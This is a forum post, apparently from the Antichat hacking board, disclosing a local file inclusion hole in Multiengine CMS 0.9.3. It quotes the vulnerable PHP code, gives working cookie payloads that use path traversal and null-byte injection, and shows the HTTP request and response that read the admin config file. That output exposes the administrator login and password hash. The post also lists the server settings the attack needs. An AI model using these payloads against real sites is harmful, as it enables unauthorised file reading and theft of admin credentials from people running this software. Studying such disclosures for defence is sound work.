Показать сообщение отдельно

  #367  
Старый 19.04.2010, 02:23
Strilo4ka
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
С нами: 9000386

Репутация: 1148
По умолчанию

Multiengine CMS 0.9.3
LFI
/multiengine/multiengine.php
PHP код:
//error_reporting(0);
//header("Last-Modified: ".gmstrftime("%a, %d %b %Y %H:%M:%S", strtotime(gmdate("D, d M Y 0:00:01"))-86400+date("j")*100)." GMT");
define("THIS_SITE""http://".$_SERVER['HTTP_HOST']."/"true);
define("CURR_URL""http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'], true);

require_once(
"$enginedir/functions.php");
// Подключаем класс кэша
require_once("$enginedir/cache.class.php");

// Фильтрация входящих данных
if(isset($_GET['mod'])){
    
$modQueryFilter($_GET['mod']);
}
if(isset(
$_GET['cat'])){
    
$cat'/'.QueryFilter($_GET['cat']);
}
if(
$mod.$cat.$_GET['page']=='robots.txt'){
    
header('Content-Type: text/plain');
    if(!@
readfile('robots.txt')){
        print 
"User-Agent: *\r\nDisallow:";
    }
    exit;
}
if(isset(
$_GET['page'])){
    if(
$_GET['page']=='index'.$url_ext){
        
$to'index.php?';
        if(isset(
$mod)){
            
$to.= "mod=$mod";
                if(isset(
$_GET['cat'])){
                
$to.= "&cat=".$_GET['cat'];
            }
        }
        elseif(isset(
$_GET['cat'])){
            
$to.= "cat=".$_GET['cat'];
        }
        
header('HTTP/1.1 301 Moved Permanently');
        
header('Location: '.UrlRewrite(THIS_SITE.$to));
        exit;
    }
    elseif(
strstr($_GET['page'], $url_ext)){
        
$page"/".QueryFilter(preg_replace('"(.+)'.$url_ext.'"''$1'$_GET['page']));
    }
    else{
        
Error404();
    }
}
else{
    
$page"/index";
}

// Подключение модулей
if(isset($mod)){
    if(
is_file("$enginedir/mods/$mod/mod.php")){
        require_once(
"$enginedir/mods/$mod/mod.php");
    }
    else{
        
$cat"/$mod$cat";
        if(
is_file("$d_base/pages$cat$page.$db_ext")){
            require_once(
"$enginedir/pages.php");
        }
        else{
            
Error404();
        }
    }
}
else{
    require_once(
"$enginedir/pages.php");
}... 
target: index.php

например, в куки тулим:

; mod=../../readme.txt%00


Запрос:
Host=multiengine_cms
User-Agent=Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9
Accept=text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language=ru,en-us;q=0.7,en;q=0.3
Accept-Encoding=gzip,deflate
Accept-Charset=windows-1251,utf-8;q=0.7,*;q=0.7
Keep-Alive=300
Connection=keep-alive
Cookie=ffb4935b1bb5d18a2c0f862c02295821=fc3c3d1565 f5a9aa318645a642382fc9; mod=../../readme.txt%00
Cache-Control=max-age=0

Ответ:
Status=OK - 200
Date=Sun, 18 Apr 2010 22:14:24 GMT
Server=Apache/2.2.4 (Win32) mod_ssl/2.2.4 OpenSSL/0.9.8d PHP/5.2.4
X-Powered-By=PHP/5.2.4
Content-Length=2776
Keep-Alive=timeout=5, max=100
Connection=Keep-Alive
Content-Type=text/html; charset=windows-1251

Читалка
(достаем логин и пасс админа)
посылаем куки: ; cat=/../../multiengine/mods/admin/config.php%00

target: index.php

/multiengine/pages
PHP код:
...
if(
is_file("$d_base/pages$cat$page.$db_ext")){
    
$fpagefile("$d_base/pages$cat$page.$db_ext");
    
$pagetitlearray_shift($fpage);
    
$contentimplode("\r\n"$fpage);... 
Поубирал с кода переводы и пробелы чтоб было видно!
Код HTML:
<?</h1><div class="pagepath"><a href="http://multiengine_cms/">Имя сайта краткое</a> / <a href="http://multiengine_cms/../"></a> / <a href="http://multiengine_cms/../../multiengine/"></a> / <a href="http://multiengine_cms/../../multiengine/mods/admin/config.php_/"></a></div>
$admlogin= 'admin';$admpass= '21232f297a57a5a743894a0e4a801fc3';
?></td>
админко - /admin

Условие:

register_globals = On
Jokester:
я не пойму, если зависимость register_globals = On то почему-бы сразу не RFI $enginedir ?
Я написал target - index.php чтоб реализовать то, что написано выше!

RFI не получиться , есть причины:

1) если target - multiengine/multiengine.php, то есть .htaccess
Код:
Deny from all
2) если target - index.php

index.php
PHP код:
$enginedir'multiengine';
require_once(
"$enginedir/config.php");
$delimiter'/';
$sitename'Имя сайта краткое';
$title'Заголовок сайта';
$description'Описание сайта';
require_once(
"$enginedir/multiengine.php"); 
ps
mg=off, так как замена нулевого байта в is_file() не сработает.
Извинения за то, что код не полностю выложыл!

Последний раз редактировалось Strilo4ka; 20.04.2010 в 02:58..
 
Ответить с цитированием